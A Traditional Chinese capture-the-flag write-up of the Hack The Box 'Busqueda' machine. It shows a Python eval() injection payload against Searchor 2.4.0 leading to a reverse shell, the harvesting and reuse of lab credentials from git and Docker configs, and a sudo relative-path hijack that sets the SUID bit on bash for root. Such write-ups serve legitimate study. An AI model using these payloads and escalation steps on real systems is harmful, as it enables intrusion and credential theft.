Busqueda Writeup
不要分不清楚場合,和共用密碼好嗎?
聲明
我是新手。 Please correct me if I'm wrong.
靶機資訊(Machine Infromation)
Machine | Description |
---|---|
Name | Busqueda |
OS | Linux |
Difficulty | Easy |
Author | kavigihan |
情蒐(Reconnaissance)
服務掃描(Services Scan)
HTB起手式——「port scan
」,應該沒有異議吧?
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
掃完只開兩個port,分別是SSH和HTTP,從HTTP掃描的結果得知標的的domain:「searcher.htb
」。
┌──(kali㉿KALI)-[~/]
└─$ sudo nmap -p- --min-rate 6969 -Pn 10.129.228.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 17:35 UTC
Nmap scan report for 10.129.228.217
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds
┌──(kali㉿KALI)-[~/Documents]
└─$ sudo nmap -p 22,80 -sCV -Pn 10.129.228.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 17:38 UTC
Nmap scan report for 10.129.228.217
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds
HTTP - Port 80
以curl
連線Port 80
,發現網站將IP跳轉至網站域名:searcher.htb
。
<MACHING_NAME>.htb 是HTB靶機hostname的常見命名規則。你可以在HTB Meta找到更多資訊。
┌──(kali㉿KALI)-[~]
└─$ curl http://10.129.26.203 -v
* Trying 10.129.26.203:80...
* Connected to 10.129.26.203 (10.129.26.203) port 80
> GET / HTTP/1.1
> Host: 10.129.26.203
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 302 Found
< Date: Sat, 13 Jul 2024 17:44:32 GMT
< Server: Apache/2.4.52 (Ubuntu)
< Location: http://searcher.htb/
< Content-Length: 283
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://searcher.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.129.26.203 Port 80</address>
</body></html>
* Connection #0 to host 10.129.26.203 left intact
將domain name加加至/etc/host
中。
至於為什麼要將domain name加入至
/etc/hosts
? 請參考另一篇中的解釋
┌──(kali㉿KALI)-[~]
└─$ echo "10.129.26.203 searcher.htb" | sudo tee -a /etc/hosts
10.129.26.203 searcher.htb
Apach在此大概是用於reverse proxy,因為使用domain name連線回應Server是Werkzeug
。
┌──(kali㉿KALI)-[~/.ssh]
└─$ curl http://searcher.htb -v -s > /dev/null
* Host searcher.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.228.217
* Trying 10.129.228.217:80...
* Connected to searcher.htb (10.129.228.217) port 80
> GET / HTTP/1.1
> Host: searcher.htb
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sat, 20 Jul 2024 15:30:18 GMT
< Server: Werkzeug/2.1.2 Python/3.10.6
< Content-Type: text/html; charset=utf-8
< Content-Length: 13519
< Vary: Accept-Encoding
<
{ [1328 bytes data]
* Connection #0 to host searcher.htb left intact
開源軟體「Searcher」
從瀏覽器中開啟標的網頁,大致玩一下功能,其實就只是把輸入的內容跳轉至對應搜尋引擎搜索而以。
但仔細看網頁的最下方,可知標的運行開源專案「Searcher」的2.4.0
版。既然是開源專案,就是白箱檢測了,但在殺去看原始碼之前,我們可以先看看下幾個版本的CHANGELOG。
遇到開源轉體的幾條路
如果標的是開源專案,目前有幾條路可以走:
1. 檢查release、issues和changelog,嘗試尋找CVE、security、bug等相關資訊。
2. 白箱檢測,讀原始碼找漏洞,找任何可以利用的弱點。
3. 黑箱測試,fuzzing、SSTI、SQL等。
4. 找一個可以問的人 還有其他建議嗎?
結果發現2.4.2
的log中表示有重大弱點修復,於是直接看看PR #130改了什麼部分。
得知當Search在使用eval()
處理url的字串,這問題可大了。
引擎中不安全的eval()
src/searchor/main.py | |
---|---|
在python中eval()
和exec()
能把輸入的文字字串轉換成程式碼並執行。
所以,當發現標的使用eval()
處理任何東西時,建議檢查裡面的變數是否可任意變動,如果可以就可以RCE。
在此,engine
和query
是使用者可以操縱的。於是便植入payload:'),__import__('os').system('id')#
至query
,payload在執行中的eval()
程式眼裡看起來像這樣:
url = eval(
f"Engine.{engine}.search(''),__import__('os').system('id')#', copy_url={copy}, open_web={open})"
)
eval()
將以逗號分隔分別執行Engine.{engine}.search('')
和__import__('os').system('id')#<後面的東西都被註解掉了>
。
如此以來我們就可以RCE了。
記得在用BurpSuite送出前將payload全部url encode,尤其是
&
,因為web server將&
視為區分parameter的關鍵字。
使用bash reverse shell得到user.txt,/var/www/app
底下的東西待會再說。
listening on [any] 8087 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.228.217] 44648
bash: cannot set terminal process group (1555): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
...
svc@busqueda:~$ cat user.txt
cat user.txt
108beb980b11edd119a523076cd18ce7
內部情蒐(Discovery)
利用剛才取得shell蒐集資料,也可以先加ssh key方便操作。
對了,我在本階段有找SUID、ss -tulnp4
、ps -ef
等,但這次沒有太大幫助就不贅述了。
Cody的壞習慣
在剛才要確定是否可讀取user.txt
的時候,同時/home
下發現了不是linux預設的檔案:.gitconfig
。
svc@busqueda:~$ ll
drwxr-x--- 4 svc svc 4096 Apr 3 2023 ./
drwxr-xr-x 3 root root 4096 Dec 22 2022 ../
lrwxrwxrwx 1 root root 9 Feb 20 2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
drwx------ 2 svc svc 4096 Feb 28 2023 .cache/
-rw-rw-r-- 1 svc svc 76 Apr 3 2023 .gitconfig
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local/
lrwxrwxrwx 1 root root 9 Apr 3 2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc 33 Jul 20 05:16 user.txt
讀取設定檔後,得知使用svc帳號的人其實是Cody。
svc@busqueda:~$ cat .gitconfig
cat .gitconfig
[user]
email = [email protected]
name = cody
[core]
hooksPath = no-hooks
看到這裡,得知cody這個人應該沒有權限與環境劃分的觀念,因為production的環境絕對不可以和develop環境混用,更不可以使用service帳號做其他事情。
我們可以利用Cody的壞習慣尋找提權的路徑,回頭看看searcher.htb
的webroot底下有什麼不該出現的東西。
svc@busqueda:/var/www/app$ ll
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 ./
drwxr-xr-x 4 root root 4096 Apr 4 2023 ../
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jul 20 05:16 .git/
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
讀取.git
底下的config
檔案,取得新站點「gitea
」和cody的gitea帳密。
svc@busqueda:/var/www/app$ ll .git
...
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
...
svc@busqueda:/var/www/app$ cat .git/config
cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:[email protected]/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
因為使用svc的人是Cody,所以猜測他可能共用帳號密碼。果不其然,因此取得sudo -l
的結果,得知可以以root執行system-checkup.py
腳本。
svc@busqueda:/var/www/app$ echo 'jh1usoih2bkjaspwe92' | sudo -l -S
echo 'jh1usoih2bkjaspwe92' | sudo -l -S
[sudo] password for svc: Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
system-checkup.py
腳本是提權的關鍵,但目前沒辦法讀取內容,所以先執行看看。
svc@busqueda:/var/www/app$ ll /opt/scripts
ll /opt/scripts
total 28
drwxr-xr-x 3 root root 4096 Dec 24 2022 ./
drwxr-xr-x 4 root root 4096 Mar 1 2023 ../
-rwx--x--x 1 root root 586 Dec 24 2022 check-ports.py*
-rwx--x--x 1 root root 857 Dec 24 2022 full-checkup.sh*
drwxr-x--- 8 root root 4096 Apr 3 2023 .git/
-rwx--x--x 1 root root 3346 Dec 24 2022 install-flask.sh*
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py*
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
<o /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
腳本有三個功能,先執行docker-ps
看看有什麼container正在執行,順便看看docker的版本,也許可以利用也說不定。
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
<in/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 18 months ago Up 5 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 18 months ago Up 5 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:/opt/scripts$ docker --version
docker --version
Docker version 20.10.21, build 20.10.21-0ubuntu1~22.04.2
發現有2個containers正在運行,gitea已經看過了,現在對mysql比較有興趣,因為有帳密。
在執行腳本的第二個功能之前,其實也看出來system-checkup.py
腳本其實是docker的wrapper,python system-checkup.py docker-ps
其實就是docker ps
,docker-inspect
也就是docker inspect
了。
先看看怎麽使用:
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect
[sudo] password for svc:
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
參考docker官方文件,使用'{{json .Config}}'
的format配合jq
顯示資料,取得docker container的config,裡面包含mysql的帳密。
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db | jq
{
"Hostname": "f84a6b33fb5a",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"3306/tcp": {},
"33060/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"
],
"Cmd": [
"mysqld"
],
"Image": "mysql:8",
"Volumes": {
"/var/lib/mysql": {}
},
"WorkingDir": "",
"Entrypoint": [
"docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "db",
"com.docker.compose.version": "1.29.2"
}
}
輸入剛剛取得的帳密,結果DB裡面沒有有趣的資訊。
svc@busqueda:~$ mysql -u gitea -h 127.0.0.1 -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 94
Server version: 8.0.31 MySQL Community Server - GPL
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| gitea |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)
mysql> use gitea
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------------+
| Tables_in_gitea |
+---------------------------+
...
| user |
...
+---------------------------+
...
mysql> select name,passwd from user;
+---------------+------------------------------------------------------------------------------------------------------+
| name | passwd |
+---------------+------------------------------------------------------------------------------------------------------+
| administrator | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 |
| cody | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e |
+---------------+------------------------------------------------------------------------------------------------------+
Hijack Execution Flow
找來找去,最後發現gitea的DB密碼重複使用,登入administrator帳號,因此可以取得所有scripts的原始碼。
檢視system-checkup.py
發現full-checkup
功能仰賴執行同名腳本:./full-checkup.sh
,而且是使用相對路徑。
- 用相對路徑鏈結檔案是個問題,為什麼呢?
因為python腳本會以當前目錄(CWD)為工作目錄開始尋找.sh腳本,導致不是讀取到/opt/scripts
底下的那一份。
假設,現在cd
到/tmp
下,再次執行python system-checkup.py docker-ps
,python就將以/tmp
為起始目錄,並且在該目錄下尋找.sh腳本,因此會找/tmp/full-checkup.sh
,如果沒有找到就回「Something went wrong」了。
利於這點在任意可寫資料夾下創建惡意full-checkup.sh
,內容隨意,在此以chmod設定bish SUID。
svc@busqueda:/tmp$ vim full-checkup.sh
svc@busqueda:/tmp$ chmod +x full-checkup.sh
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:/tmp$ bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) egid=0(root) groups=0(root),1000(svc)
bash-5.1# cat /root/root.txt
3687ebffcd04771f880eaf4794f5b85d
後記 - 黑箱測試
其實Searchor的漏洞用黑箱測試也很快,首先測SSTI,畢竟是python的框架,然後測哪些特殊符號會導致網站壞掉,就可以知道'
、)
是關鍵符號,外加對python的一點理解,其實不難猜出後端使用eval()
或是exec()
處理輸入字串。